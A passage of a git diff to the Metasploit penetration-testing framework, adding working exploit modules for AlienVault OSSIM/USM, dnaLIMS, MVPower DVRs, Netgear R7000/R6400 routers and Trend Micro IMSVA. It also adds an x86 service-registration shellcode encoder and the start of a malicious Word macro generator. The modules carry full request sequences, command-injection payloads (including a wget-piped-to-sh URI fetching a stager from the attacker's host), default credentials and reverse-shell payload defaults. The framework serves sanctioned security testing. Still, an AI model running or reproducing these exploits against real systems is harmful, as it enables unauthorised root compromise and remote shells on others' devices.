monitor_socket + } + + print_status("mDNS spoofer started. Listening for mDNS requests with REGEX \"#{datastore['REGEX']}\" ...") + + add_socket(self.sock) + + self.thread.join + end + + def cleanup + if self.thread and self.thread.alive? + self.thread.kill + self.thread = nil + end + close_pcap + end +end diff --git a/modules/auxiliary/sqli/oracle/droptable_trigger.rb b/modules/auxiliary/sqli/oracle/droptable_trigger.rb index e2e0520df4..e307935ce2 100644 --- a/modules/auxiliary/sqli/oracle/droptable_trigger.rb +++ b/modules/auxiliary/sqli/oracle/droptable_trigger.rb @@ -32,9 +32,7 @@ class MetasploitModule < Msf::Auxiliary [ OptString.new('SQL', [ false, 'The SQL to execute.', 'GRANT DBA TO SCOTT']), OptString.new('USER', [ false, 'The current user. ', 'SCOTT']), - OptString.new('FILENAME', [ false, 'The file name.', 'msf.sql']), - OptString.new('OUTPUTPATH', [ false, 'The location of the file.', './data/exploits/']), - + OptString.new('FILENAME', [ false, 'The file name.', 'msf.sql']) ], self.class) end diff --git a/modules/encoders/x86/service.rb b/modules/encoders/x86/service.rb new file mode 100644 index 0000000000..de2d780d2f --- /dev/null +++ b/modules/encoders/x86/service.rb @@ -0,0 +1,128 @@ +require 'metasm' +require 'msf/core' + +class MetasploitModule < Msf::Encoder + + Rank = ManualRanking + + def initialize + super( + 'Name' => 'Register Service', + 'Version' => '$Revision: 14774 $', + 'Description' => 'Register service if used with psexec for example', + 'Author' => 'agix', + 'Arch' => ARCH_X86, + 'License' => MSF_LICENSE, + 'EncoderType' => Msf::Encoder::Type::Raw + ) + end + + @@cpu32 = Metasm::Ia32.new + def assemble(src, cpu=@@cpu32) + Metasm::Shellcode.assemble(cpu, src).encode_string + end + + def can_preserve_registers? + true + end + + def modified_registers + [] + end + + def preserves_stack? + true + end + + def string_to_pushes(string) + str = string.dup + # Align string to 4 bytes + rem = (str.length) % 4 + if rem > 0 + str << "\x00" * (4 - rem) + pushes = '' + else + pushes = "h\x00\x00\x00\x00" + end + # string is now 4 bytes aligned with null byte + + # push string to stack, starting at the back + while str.length > 0 + four = 'h'+str.slice!(-4,4) + pushes << four + end + + pushes + end + + def encode_block(state, block) + nb_iter = rand(0x2fffffff)+0xfffffff + + push_registers = '' + pop_registers = '' + if datastore['SaveRegisters'] + datastore['SaveRegisters'].split(" ").each { |reg| + push_registers += assemble("push %s"%reg) + pop_registers = assemble("pop %s"%reg) + pop_registers + } + end + + name = ENV['MSF_SERVICENAME'] + name ||= Rex::Text.rand_text_alpha(8) + pushed_service_name = string_to_pushes(name) + + precode_size = 0xc6 + svcmain_code_offset = precode_size + pushed_service_name.length + + precode_size = 0xcc + hash_code_offset = precode_size + pushed_service_name.length + + precode_size = 0xbf + svcctrlhandler_code_offset = precode_size + pushed_service_name.length + + code_service_stopped = + "\xE8\x00\x00\x00\x00\x5F\xEB\x07\x58\x58\x58\x58\x31\xC0\xC3" + + "#{pushed_service_name}\x89\xE1\x8D\x47\x03\x6A\x00" + + "\x50\x51\x68\x0B\xAA\x44\x52\xFF\xD5\x6A\x00\x6A\x00\x6A\x00\x6A" + + "\x00\x6A\x00\x6A\x00\x6A\x01\x6A\x10\x89\xE1\x6A\x00\x51\x50\x68" + + "\xC6\x55\x37\x7D\xFF\xD5\x57\x68\xF0\xB5\xA2\x56\xFF\xD5" + + precode_size = 0x42 + shellcode_code_offset = code_service_stopped.length + precode_size + + # code_service could be encoded in the future + code_service = + "\xFC\xE8\x89\x00\x00\x00\x60\x89\xE5\x31\xD2\x64\x8B\x52\x30\x8B" + + "\x52\x0C\x8B\x52\x14\x8B\x72\x28\x0F\xB7\x4A\x26\x31\xFF\x31\xC0" + + "\xAC\x3C\x61\x7C\x02\x2C\x20\xC1\xCF\x0D\x01\xC7\xE2\xF0\x52\x57" + + "\x8B\x52\x10\x8B\x42\x3C\x01\xD0\x8B\x40\x78\x85\xC0\x74\x4A\x01" + + "\xD0\x50\x8B\x48\x18\x8B\x58\x20\x01\xD3\xE3\x3C\x49\x8B\x34\x8B" + + "\x01\xD6\x31\xFF\x31\xC0\xAC\xC1\xCF\x0D\x01\xC7\x38\xE0\x75\xF4" + + "\x03\x7D\xF8\x3B\x7D\x24\x75\xE2\x58\x8B\x58\x24\x01\xD3\x66\x8B" + + "\x0C\x4B\x8B\x58\x1C\x01\xD3\x8B\x04\x8B\x01\xD0\x89\x44\x24\x24" + + "\x5B\x5B\x61\x59\x5A\x51\xFF\xE0\x58\x5F\x5A\x8B\x12\xEB\x86\x5D" + + "\x6A\x00\x68\x70\x69\x33\x32\x68\x61\x64\x76\x61\x54\x68\x4C\x77" + + "\x26\x07\xFF\xD5#{pushed_service_name}\x89\xE1" + + "\x8D\x85#{[svcmain_code_offset].pack('I<')}\x6A\x00\x50\x51\x89\xE0\x6A\x00\x50\x68" + + "\xFA\xF7\x72\xCB\xFF\xD5\x6A\x00\x68\xF0\xB5\xA2\x56\xFF\xD5\x58" + + "\x58\x58\x58\x31\xC0\xC3\xFC\xE8\x00\x00\x00\x00\x5D\x81\xED" + + "#{[hash_code_offset].pack('I<') + pushed_service_name}\x89\xE1\x8D" + + "\x85#{[svcctrlhandler_code_offset].pack('I<')}\x6A\x00\x50\x51\x68\x0B\xAA\x44\x52\xFF\xD5" + + "\x6A\x00\x6A\x00\x6A\x00\x6A\x00\x6A\x00\x6A\x00\x6A\x04\x6A\x10" + + "\x89\xE1\x6A\x00\x51\x50\x68\xC6\x55\x37\x7D\xFF\xD5\x31\xFF\x6A" + + "\x04\x68\x00\x10\x00\x00\x6A\x54\x57\x68\x58\xA4\x53\xE5\xFF\xD5" + + "\xC7\x00\x44\x00\x00\x00\x8D\x70\x44\x57\x68\x2E\x65\x78\x65\x68" + + "\x6C\x6C\x33\x32\x68\x72\x75\x6E\x64\x89\xE1\x56\x50\x57\x57\x6A" + + "\x44\x57\x57\x57\x51\x57\x68\x79\xCC\x3F\x86\xFF\xD5\x8B\x0E\x6A" + + "\x40\x68\x00\x10\x00\x00\x68#{[block.length].pack('I<')}\x57\x51\x68\xAE\x87" + + "\x92\x3F\xFF\xD5\xE8\x00\x00\x00\x00\x5A\x89\xC7\x8B\x0E\x81\xC2" + + "#{[shellcode_code_offset].pack('I<')}\x54\x68#{[block.length].pack('I<')}" + + "\x52\x50\x51\x68\xC5\xD8\xBD\xE7\xFF" + + "\xD5\x31\xC0\x8B\x0E\x50\x50\x50\x57\x50\x50\x51\x68\xC6\xAC\x9A" + + "\x79\xFF\xD5\x8B\x0E\x51\x68\xC6\x96\x87\x52\xFF\xD5\x8B\x4E\x04" + + "\x51\x68\xC6\x96\x87\x52\xFF\xD5#{code_service_stopped}" + + return push_registers + code_service + pop_registers + block + end + +end diff --git a/modules/exploits/linux/http/alienvault_exec.rb b/modules/exploits/linux/http/alienvault_exec.rb new file mode 100644 index 0000000000..2b6d83abea --- /dev/null +++ b/modules/exploits/linux/http/alienvault_exec.rb @@ -0,0 +1,322 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +class MetasploitModule < Msf::Exploit::Remote + Rank = ExcellentRanking + + include Msf::Exploit::Remote::HttpClient + include Msf::Exploit::Remote::SSH + + def initialize(info={}) + super(update_info(info, + 'Name' => "AlienVault OSSIM/USM Remote Code Execution", + 'Description' => %q{ + This module exploits object injection, authentication bypass and ip spoofing vulnerabities all together. + Unauthenticated users can execute arbitrary commands under the context of the root user. + + By abusing authentication bypass issue on gauge.php lead adversaries to exploit object injection vulnerability + which leads to SQL injection attack that leaks an administrator session token. Attackers can create a rogue + action and policy that enables to execute operating system commands by using captured session token. As a final step, + SSH login attempt with a invalid credentials can trigger a created rogue policy which triggers an action that executes + operating system command with root user privileges. + + This module was tested against following product and versions: + AlienVault USM 5.3.0, 5.2.5, 5.0.0, 4.15.11, 4.5.0 + AlienVault OSSIM 5.0.0, 4.6.1 + }, + 'License' => MSF_LICENSE, + 'Author' => + [ + 'Peter Lapp', # EDB advisory owner + 'Mehmet Ince ' # Metasploit module + ], + 'References' => + [ + ['URL', 'https://pentest.blog/unexpected-journey-into-the-alienvault-ossimusm-during-engagement/'], + ['EDB', '40682'] + ], + 'DefaultOptions' => + { + 'SSL' => true, + 'WfsDelay' => 10, + 'Payload' => 'python/meterpreter/reverse_tcp' + }, + 'Platform' => ['python'], + 'Arch' => ARCH_PYTHON, + 'Targets' => + [ + ['Alienvault USM/OSSIM <= 5.3.0', {}] + ], + 'Privileged' => true, + 'DisclosureDate' => "Jan 31 2017", + 'DefaultTarget' => 0 + )) + + register_options( + [ + Opt::RPORT(443), + OptString.new('TARGETURI', [true, 'The URI of the vulnerable Alienvault OSSIM instance', '/']) + ], self.class) + end + + + def check + r = rand_text_alpha(15) + p = "a:1:{s:4:\"type\";s:69:\"1 AND extractvalue(rand(),concat(0x3a,(SELECT '#{r}')))-- \";}" + + res = send_request_cgi({ + 'method' => 'GET', + 'uri' => normalize_uri(target_uri.path, 'ossim', 'dashboard', 'sections', 'widgets', 'data', 'gauge.php'), + 'headers' => { + 'User-Agent' => 'AV Report Scheduler', + }, + 'vars_get' => { + 'type' => 'alarm', + 'wtype' => 'foo', + 'asset' => 'ALL_ASSETS', + 'height' => 1, + 'value' => p + } + }) + + if res && res.code == 200 && res.body =~ /XPATH syntax error: ':#{r}'/ + Exploit::CheckCode::Vulnerable + else + Exploit::CheckCode::Safe + end + + end + + + def exploit + # Hijacking Administrator session by exploiting objection injection vuln that end up with sqli + print_status("Hijacking administrator session") + + sql = "SELECT id FROM sessions LIMIT 1" + p = "a:1:{s:4:\"type\";s:#{(sql.length + 58).to_s}:\"1 AND extractvalue(rand(),concat(0x3a3a3a,(#{sql}),0x3a3a3a))-- \";}" + + res = send_request_cgi({ + 'method' => 'GET', + 'uri' => normalize_uri(target_uri.path, 'ossim', 'dashboard', 'sections', 'widgets', 'data', 'gauge.php'), + 'headers' => { + 'X-Forwarded-For' => rhost.to_s, + 'User-Agent' => 'AV Report Scheduler', + }, + 'vars_get' => { + 'type' => 'alarm', + 'wtype' => 'foo', + 'asset' => 'ALL_ASSETS', + 'height' => 1, + 'value' => p + } + }) + if res && res.code == 200 && res.body =~ /XPATH syntax error: ':::(.*):::'/ + admin_session = $1 + cookie = "PHPSESSID=#{admin_session}" + print_good("Admin session token : #{cookie}") + else + fail_with(Failure::Unknown, "Session table is empty. Wait until someone logged in and try again") + end + + # Creating a Action that contains payload. + print_status("Creating rogue action") + r = rand_text_alpha(15) + + res = send_request_cgi({ + 'method' => 'POST', + 'uri' => normalize_uri(target_uri.path, 'ossim', 'action', 'modifyactions.php'), + 'cookie' => cookie, + 'headers' => { + 'X-Forwarded-For' => rhost.to_s, + }, + 'vars_post' => { + 'id' => '', + 'action' => 'new', + 'old_name' => '', + 'action_name' => r, + 'ctx' => '', + 'old_descr' => '', + 'descr' => r, + 'action_type' => '2', + 'only' => 'on', + 'cond' => 'True', + 'email_from' => '', + 'email_to' => 'email;email;email', + 'email_subject' => '', + 'email_message' => '', + 'transferred_user' => '', + 'transferred_entity' => '', + 'exec_command' => "python -c \"#{payload.encoded}\"" + } + }) + + if res && res.code == 200 && res.body.include?("Action successfully updated") + print_good("Action created: #{r}") + else + fail_with(Failure::Unknown, "Unable to create action") + end + + # Retrieving the policy id. Authentication Bypass with User-Agent Doesn't work for this endpoint. + # Thus we're using hijacked administrator session. + print_status("Retrieving rogue action id") + + res = send_request_cgi({ + 'method' => 'GET', + 'uri' => normalize_uri(target_uri.path, "ossim", "action", "getaction.php"), + 'cookie' => cookie, + 'headers' => { + 'X-Forwarded-For' => rhost.to_s, + }, + 'vars_get' => { + 'page' => '1', + 'rp' => '2000' + } + }) + + if res && res.code == 200 && res.body =~ /actionform\.php\?id=(.*)'>#{r}<\/a>/ + action_id = $1 + print_good("Corresponding Action ID found: #{action_id}") + else + fail_with(Failure::Unknown, "Unable to retrieve action id") + end + + # Retrieving the policy data. We will use it while creating policy + print_status("Retrieving policy ctx and group values") + + res = send_request_cgi({ + 'method' => 'GET', + 'uri' => normalize_uri(target_uri.path.to_s, "ossim", "policy", "policy.php"), + 'cookie' => cookie, + 'headers' => { + 'X-Forwarded-For' => rhost.to_s, + }, + 'vars_get' => { + 'm_opt' => 'configuration', + 'sm_opt' => 'threat_intelligence', + 'h_opt' => 'policy' + } + }) + + if res && res.code == 200 && res.body =~ /getpolicy\.php\?ctx=(.*)\&group=(.*)',/ + policy_ctx = $1 + policy_group = $2 + print_good("CTX Value found: #{policy_ctx}") + print_good("GROUP Value found: #{policy_group}") + else + fail_with(Failure::Unknown, "Unable to retrieve policy data") + end + + # Creating policy that will be trigerred when SSH authentication failed due to wrong password. + print_status("Creating a policy that uses our rogue action") + policy = rand_text_alpha(15) + + res = send_request_cgi({ + 'method' => 'POST', + 'uri' => normalize_uri(target_uri.path, "ossim", "policy", "newpolicy.php"), + 'cookie' => cookie, + 'headers' => { + 'X-Forwarded-For' => rhost.to_s, + }, + 'vars_post' => { + 'descr' => policy, + 'active' => '1', + 'group' => policy_group, + 'ctx' => policy_ctx, + 'order' => '1', + 'action' => 'new', + 'sources[]' => '00000000000000000000000000000000', + 'dests[]' => '00000000000000000000000000000000', + 'portsrc[]' => '0', + 'portdst[]' => '0', + 'plug_type' => '1', + 'plugins[0]' => 'on', + 'taxfilters[]' =>'25@2@0', + 'tax_pt' => '0', + 'tax_cat' => '0', + 'tax_subc' => '0', + 'mboxs[]' => '00000000000000000000000000000000', + 'rep_act' => '0', + 'rep_sev' => '1', + 'rep_rel' => '1', + 'rep_dir' => '0', + 'ev_sev' => '1', + 'ev_rel' => '1', + 'tzone' => 'Europe/Istanbul', + 'date_type' => '1', + 'begin_hour' => '0', + 'begin_minute' => '0', + 'begin_day_week' => '1', + 'begin_day_month' => '1', + 'begin_month' => '1', + 'end_hour' => '23', + 'end_minute' => '59', + 'end_day_week' => '7', + 'end_day_month' => '31', + 'end_month' => '12', + 'actions[]' => action_id, + 'sim' => '1', + 'priority' => '1', + 'qualify' => '1', + 'correlate' => '0', + 'cross_correlate' => '0', + 'store' => '0' + } + }) + + if res && res.code == 200 + print_good("Policy created: #{policy}") + else + fail_with(Failure::Unknown, "Unable to create policy id") + end + + # We gotta reload all policies in order to make our rogue one enabled. + print_status("Activating the policy") + + res = send_request_cgi({ + 'method' => 'GET', + 'uri' => normalize_uri(target_uri.path, "ossim", "conf", "reload.php"), + 'cookie' => cookie, + 'headers' => { + 'X-Forwarded-For' => rhost.to_s, + }, + 'vars_get' => { + 'what' => 'policies', + 'back' => '../policy/policy.php' + } + }) + + if res && res.code == 200 + print_good("Rogue policy activated") + else + fail_with(Failure::Unknown, "#{peer} - Unable to enable rogue policy") + end + + # We will trigger the rogue policy by doing ssh auth attempt with invalid credential :-) + factory = ssh_socket_factory + opts = { + auth_methods: ['password'], + port: 22, + use_agent: false, + config: false, + password: rand_text_alpha(15), + proxy: factory, + non_interactive: true + } + + print_status("Triggering the policy by performing SSH login attempt") + + begin + Net::SSH.start(rhost, "root", opts) + rescue Net::SSH::AuthenticationFailed + print_good("SSH - Failed authentication. That means our policy and action will be trigged..!") + rescue Net::SSH::Exception => e + print_error("SSH Error: #{e.class} : #{e.message}") + return nil + end + + end +end diff --git a/modules/exploits/linux/http/dnalims_admin_exec.rb b/modules/exploits/linux/http/dnalims_admin_exec.rb new file mode 100644 index 0000000000..dd4c92822a --- /dev/null +++ b/modules/exploits/linux/http/dnalims_admin_exec.rb @@ -0,0 +1,107 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +class MetasploitModule < Msf::Exploit::Remote + Rank = ExcellentRanking + + include Msf::Exploit::Remote::HttpClient + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'dnaLIMS Admin Module Command Execution', + 'Description' => %q{ + This module utilizes an administrative module which allows for + command execution. This page is completely unprotected from any + authentication when given a POST request. + }, + 'Author' => + [ + 'h00die ', # Discovery, PoC + 'flakey_biscuit ' # Discovery, PoC + ], + 'License' => MSF_LICENSE, + 'References' => + [ + ['CVE', '2017-6526'], + ['US-CERT-VU', '929263'], + ['URL', 'https://www.shorebreaksecurity.com/blog/product-security-advisory-psa0002-dnalims/'] + ], + 'Platform' => %w( linux unix ), + 'Arch' => ARCH_CMD, + 'Payload' => + { + 'Space' => 1024, + 'DisableNops' => true, + 'Compat' => + { + 'RequiredCmd' => 'perl' # software written in perl, and guaranteed to be there + } + }, + 'Targets' => + [ + [ 'Automatic Target', { }] + ], + 'DefaultTarget' => 0, + 'DisclosureDate' => 'Mar 8 2017' + )) + + register_options( + [ + OptString.new('TARGETURI', [true, 'The base path to dnaLIMS', '/cgi-bin/dna/']) + ], self.class + ) + end + + def check + begin + res = send_request_cgi( + 'uri' => normalize_uri(target_uri.path, 'sysAdmin.cgi'), + 'method' => 'POST', + 'vars_post' => { + 'investigator' => '', + 'username' => '', + 'navUserName' => '', + 'Action' => 'executeCmd', + 'executeCmdData' => 'perl -V' + } + ) + if res && res.body + if /Summary of/ =~ res.body + Exploit::CheckCode::Vulnerable + else + Exploit::CheckCode::Safe + end + else + Exploit::CheckCode::Safe + end + rescue ::Rex::ConnectionError + fail_with(Failure::Unreachable, "#{peer} - Could not connect to the web service") + end + end + + def exploit + begin + vprint_status('Sending Exploit') + res = send_request_cgi( + 'uri' => normalize_uri(target_uri.path, 'sysAdmin.cgi'), + 'method' => 'POST', + 'vars_post' => { + 'investigator' => '', + 'username' => '', + 'navUserName' => '', + 'Action' => 'executeCmd', + 'executeCmdData' => payload.encoded, + } + ) + vprint_good(res.body) + rescue ::Rex::ConnectionError + fail_with(Failure::Unreachable, "#{peer} - Could not connect to the web service") + end + end +end + + diff --git a/modules/exploits/linux/http/mvpower_dvr_shell_exec.rb b/modules/exploits/linux/http/mvpower_dvr_shell_exec.rb new file mode 100644 index 0000000000..dc2ecb8c44 --- /dev/null +++ b/modules/exploits/linux/http/mvpower_dvr_shell_exec.rb @@ -0,0 +1,100 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +class MetasploitModule < Msf::Exploit::Remote + Rank = ExcellentRanking + + include Msf::Exploit::Remote::HttpClient + include Msf::Exploit::CmdStager + + HttpFingerprint = { :pattern => [ /JAWS\/1\.0/ ] } + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'MVPower DVR Shell Unauthenticated Command Execution', + 'Description' => %q{ + This module exploits an unauthenticated remote command execution + vulnerability in MVPower digital video recorders. The 'shell' file + on the web interface executes arbitrary operating system commands in + the query string. + + This module was tested successfully on a MVPower model TV-7104HE with + firmware version 1.8.4 115215B9 (Build 2014/11/17). + + The TV-7108HE model is also reportedly affected, but untested. + }, + 'Author' => + [ + 'Paul Davies (UHF-Satcom)', # Initial vulnerability discovery and PoC + 'Andrew Tierney (Pen Test Partners)', # Independent vulnerability discovery and PoC + 'Brendan Coles ' # Metasploit + ], + 'License' => MSF_LICENSE, + 'Platform' => 'linux', + 'References' => + [ + # Comment from Paul Davies contains probably the first published PoC + [ 'URL', 'https://labby.co.uk/cheap-dvr-teardown-and-pinout-mvpower-hi3520d_v1-95p/' ], + # Writeup with PoC by Andrew Tierney from Pen Test Partners + [ 'URL', 'https://www.pentestpartners.com/blog/pwning-cctv-cameras/' ] + ], + 'DisclosureDate' => 'Aug 23 2015', + 'Privileged' => true, # BusyBox + 'Arch' => ARCH_ARMLE, + 'DefaultOptions' => + { + 'PAYLOAD' => 'linux/armle/mettle_reverse_tcp', + 'CMDSTAGER::FLAVOR' => 'wget' + }, + 'Targets' => + [ + ['Automatic', {}] + ], + 'CmdStagerFlavor' => %w{ echo printf wget }, + 'DefaultTarget' => 0)) + end + + def check + begin + fingerprint = Rex::Text::rand_text_alpha(rand(10) + 6) + res = send_request_cgi( + 'method' => 'GET', + 'uri' => '/shell', + 'query' => "echo+#{fingerprint}", + 'headers' => { 'Connection' => 'Keep-Alive' } + ) + if res && res.body.include?(fingerprint) + return CheckCode::Vulnerable + end + rescue ::Rex::ConnectionError + return CheckCode::Unknown + end + CheckCode::Safe + end + + def execute_command(cmd, opts) + begin + send_request_cgi( + 'uri' => '/shell', + 'query' => Rex::Text.uri_encode(cmd, 'hex-all'), + 'headers' => { 'Connection' => 'Keep-Alive' } + ) + rescue ::Rex::ConnectionError + fail_with(Failure::Unreachable, "#{peer} - Failed to connect to the web server") + end + end + + def exploit + print_status("#{peer} - Connecting to target") + + unless check == CheckCode::Vulnerable + fail_with(Failure::Unknown, "#{peer} - Target is not vulnerable") + end + + print_good("#{peer} - Target is vulnerable!") + + execute_cmdstager(linemax: 1500) + end +end diff --git a/modules/exploits/linux/http/netgear_r7000_cgibin_exec.rb b/modules/exploits/linux/http/netgear_r7000_cgibin_exec.rb new file mode 100644 index 0000000000..218d39513d --- /dev/null +++ b/modules/exploits/linux/http/netgear_r7000_cgibin_exec.rb @@ -0,0 +1,104 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +class MetasploitModule < Msf::Exploit::Remote + + Rank = ExcellentRanking + + include Msf::Exploit::Remote::HttpClient + include Msf::Exploit::CmdStager + + def initialize(info = {}) + super(update_info(info, + 'Name' => "Netgear R7000 and R6400 cgi-bin Command Injection", + 'Description' => %q{ + This module exploits an arbitrary command injection vulnerability in + Netgear R7000 and R6400 router firmware version 1.0.7.2_1.1.93 and possibly earlier. + }, + 'License' => MSF_LICENSE, + 'Platform' => 'linux', + 'Author' => ['thecarterb', 'Acew0rm'], + 'DefaultTarget' => 0, + 'Privileged' => true, + 'Arch' => ARCH_ARMLE, + 'Targets' => [ + [ 'Automatic Target', { } ] + ], + 'References' => + [ + [ 'EDB', '40889'], + [ 'URL', 'http://labs.idefense.com/intelligence/vulnerabilities/display.php?id=305'], + [ 'URL', 'https://www.kb.cert.org/vuls/id/582384'], + [ 'URL', 'http://kb.netgear.com/000036386/CVE-2016-582384'], + [ 'CVE', '2016-6277'] + ], + 'DisclosureDate' => 'Dec 06 2016', + 'DefaultOptions' => + { + 'PAYLOAD' => 'linux/armle/mettle_reverse_tcp' + } + )) + + register_options( + [ + Opt::RPORT(80) + ], self.class) + + deregister_options('URIPATH') + end + + def scrape(text, start_trig, end_trig) + text[/#{start_trig}(.*?)#{end_trig}/m, 1] + end + + # Requests the login page which discloses the hardware, if it's an R7000 or R6400, return Detected + def check + res = send_request_cgi({'uri'=>'/'}) + if res.nil? + fail_with(Failure::Unreachable, 'Connection timed out.') + end + # Checks for the `WWW-Authenticate` header in the response + if res.headers["WWW-Authenticate"] + data = res.to_s + marker_one = "Basic realm=\"NETGEAR " + marker_two = "\"" + model = scrape(data, marker_one, marker_two) + vprint_status("Router is a NETGEAR router (#{model})") + if model == 'R7000' || model == 'R6400' + print_good("Router may be vulnerable (NETGEAR #{model})") + return CheckCode::Detected + else + return CheckCode::Safe + end + else + print_error('Router is not a NETGEAR router') + return CheckCode::Safe + end + end + + def exploit + return if check == CheckCode::Safe + + @cmdstager = generate_cmdstager(flavor: :wget, 'Path' => '/').join(';') + + send_request_cgi( + 'method' => 'GET', + 'uri' => "/cgi-bin/;wget$IFS-O-$IFS'#{srvhost_addr}:#{srvport}'|sh" + ) + end + + # Return CmdStager on first request, payload on second + def on_request_uri(cli, request) + if @cmdstager + send_response(cli, @cmdstager) + @cmdstager = nil + else + super + end + end + +end diff --git a/modules/exploits/linux/http/tr064_ntpserver_cmdinject.rb b/modules/exploits/linux/http/tr064_ntpserver_cmdinject.rb index 59f6704439..4bc6cf2b09 100644 --- a/modules/exploits/linux/http/tr064_ntpserver_cmdinject.rb +++ b/modules/exploits/linux/http/tr064_ntpserver_cmdinject.rb @@ -104,7 +104,8 @@ class MetasploitModule < Msf::Exploit::Remote def check begin res = send_request_cgi({ - 'uri' => '/globe' # TODO: Check this? Why not /UD/act?1 + 'method' => 'GET', + 'uri' => '/globe' }) rescue ::Rex::ConnectionError vprint_error("#{peer} - A connection error has occured") diff --git a/modules/exploits/linux/http/trend_micro_imsva_exec.rb b/modules/exploits/linux/http/trend_micro_imsva_exec.rb new file mode 100644 index 0000000000..2b9bc1009a --- /dev/null +++ b/modules/exploits/linux/http/trend_micro_imsva_exec.rb @@ -0,0 +1,147 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +class MetasploitModule < Msf::Exploit::Remote + Rank = ExcellentRanking + + include Msf::Exploit::Remote::HttpClient + + def initialize(info={}) + super(update_info(info, + 'Name' => 'Trend Micro InterScan Messaging Security (Virtual Appliance) Remote Code Execution', + 'Description' => %q{ + This module exploits a command injection vulnerability in the Trend Micro + IMSVA product. An authenticated user can execute a terminal command under + the context of the web server user which is root. Besides, default installation + of IMSVA comes with a default administrator credentials. + + saveCert.imss endpoint takes several user inputs and performs blacklisting. + After that it use them as argument of predefined operating system command + without proper sanitation. However,due to improper blacklisting rule it's possible to inject + arbitrary commands into it. InterScan Messaging Security prior to 9.1.-1600 affected by this issue. + + This module was tested against IMSVA 9.1-1600. + }, + 'License' => MSF_LICENSE, + 'Author' => + [ + 'Mehmet Ince ' # discovery & msf module + ], + 'References' => + [ + ['CVE', '2017-6398'], + ['URL', 'https://pentest.blog/advisory-trend-micro-interscan-messaging-security-virtual-appliance-remote-code-execution/'] + ], + 'Privileged' => true, + 'Payload' => + { + 'Space' => 1024, + 'DisableNops' => true, + 'BadChars' => "\x2f\x22" + }, + 'DefaultOptions' => + { + 'SSL' => true, + 'payload' => 'python/meterpreter/reverse_tcp', + }, + 'Platform' => ['python'], + 'Arch' => ARCH_PYTHON, + 'Targets' => [ ['Automatic', {}] ], + 'DisclosureDate' => 'Jan 15 2017', + 'DefaultTarget' => 0 + )) + + register_options( + [ + OptString.new('TARGETURI', [true, 'The target URI of the Trend Micro IMSVA', '/']), + OptString.new('USERNAME', [ true, 'The username for authentication', 'admin' ]), + OptString.new('PASSWORD', [ true, 'The password for authentication', 'imsva' ]), + Opt::RPORT(8445) + ] + ) + end + + def login + + user = datastore['USERNAME'] + pass = datastore['PASSWORD'] + + print_status("Attempting to login with #{user}:#{pass}") + + res = send_request_cgi({ + 'method' => 'POST', + 'uri' => normalize_uri(target_uri.path, 'login.imss'), + 'vars_post' => { + 'userid' => user, + 'pwdfake' => Rex::Text::encode_base64(pass) + } + }) + + if res && res.body.include?("The user name or password you entered is invalid") + fail_with(Failure::NoAccess, "#{peer} - Login with #{user}:#{pass} failed...") + end + + cookie = res.get_cookies + if res.code == 302 && cookie.include?("JSESSIONID") + jsessionid = cookie.scan(/JSESSIONID=(\w+);/).flatten.first + print_good("Authenticated as #{user}:#{pass}") + return jsessionid + end + + nil + end + + def exploit + + jsessionid = login + + unless jsessionid + fail_with(Failure::Unknown, 'Unable to obtain the cookie session ID') + end + + # Somehow java stores last visited url on session like viewstate! + # Visit form before submitting it. Otherwise, it will cause a crash. + + res = send_request_cgi({ + 'method' => 'POST', + 'uri' => normalize_uri(target_uri.path, 'initCert.imss'), + 'cookie' => "JSESSIONID=#{jsessionid}" + }) + + if !res or !res.body.include?("Transport Layer Security") + fail_with(Failure::Unknown, 'Unable to visit initCert.imss') + end + + # Random string that will be used as a cert name, state, email etc. + r = Rex::Text::rand_text_alphanumeric(5) + + print_status("Delivering payload...") + + # Since double quote are blacklisted, we are using Single, Backslash, Single, Single on our payload. Thanks to @wvu !!! + res = send_request_cgi({ + 'method' => 'POST', + 'uri' => normalize_uri(target_uri.path, 'saveCert.imss'), + 'cookie' => "JSESSIONID=#{jsessionid}", + 'vars_get' => { + 'mode' => 0 + }, + 'vars_post' => { + 'certName' => r, + 'certType' => 0, + 'keyLength' => 2048, + 'countryCode' => 'TR', + 'state' => r, + 'locality' => r, + 'org' => r, + 'orgUnit' => r, + 'commonName' => "#{r}';python -c '#{payload.encoded.gsub("'", "'\\\\''")}' #", + 'emailAddress' => "#{r}@mail.com", + 'validDays' => '', + 'id' => '', + } + }) + end + +end diff --git a/modules/exploits/linux/http/trueonline_p660hn_v2_rce.rb b/modules/exploits/linux/http/trueonline_p660hn_v2_rce.rb index ef0b02f918..fc18afde45 100644 --- a/modules/exploits/linux/http/trueonline_p660hn_v2_rce.rb +++ b/modules/exploits/linux/http/trueonline_p660hn_v2_rce.rb @@ -98,7 +98,8 @@ class MetasploitModule < Msf::Exploit::Remote @cookie = rand_text_alpha_lower(7) res = send_request_cgi({ - 'uri' => '/cgi-bin/index.asp?' + Rex::Text.encode_base64("#{datastore['USERNAME']}:#{datastore['PASSWORD']}"), + 'uri' => '/cgi-bin/index.asp', + 'query' => Rex::Text.encode_base64("#{datastore['USERNAME']}:#{datastore['PASSWORD']}"), 'method' => 'POST', 'cookie' => "SESSIONID=#{@cookie}", 'vars_post' => { diff --git a/modules/exploits/multi/fileformat/office_word_macro.rb b/modules/exploits/multi/fileformat/office_word_macro.rb new file mode 100644 index 0000000000..7e8f4406c3 --- /dev/null +++ b/modules/exploits/multi/fileformat/office_word_macro.rb @@ -0,0 +1,122 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' +require 'rex/zip' + +class MetasploitModule < Msf::Exploit::Remote + Rank = ExcellentRanking + + include Msf::Exploit::FILEFORMAT + include Msf::Exploit::EXE + + def initialize(info={}) + super(update_info(info, + 'Name' => "Microsoft Office Word Malicious Macro Execution", + 'Description' => %q{ + This module generates a macro-enabled Microsoft Office Word document. The comments + metadata in the data is injected with a Base64 encoded payload, which will be + decoded by the macro and execute as a Windows executable. + + For a successful attack, the victim is required to manually enable macro execution. + }, + 'License' => MSF_LICENSE, + 'Author' => + [ + 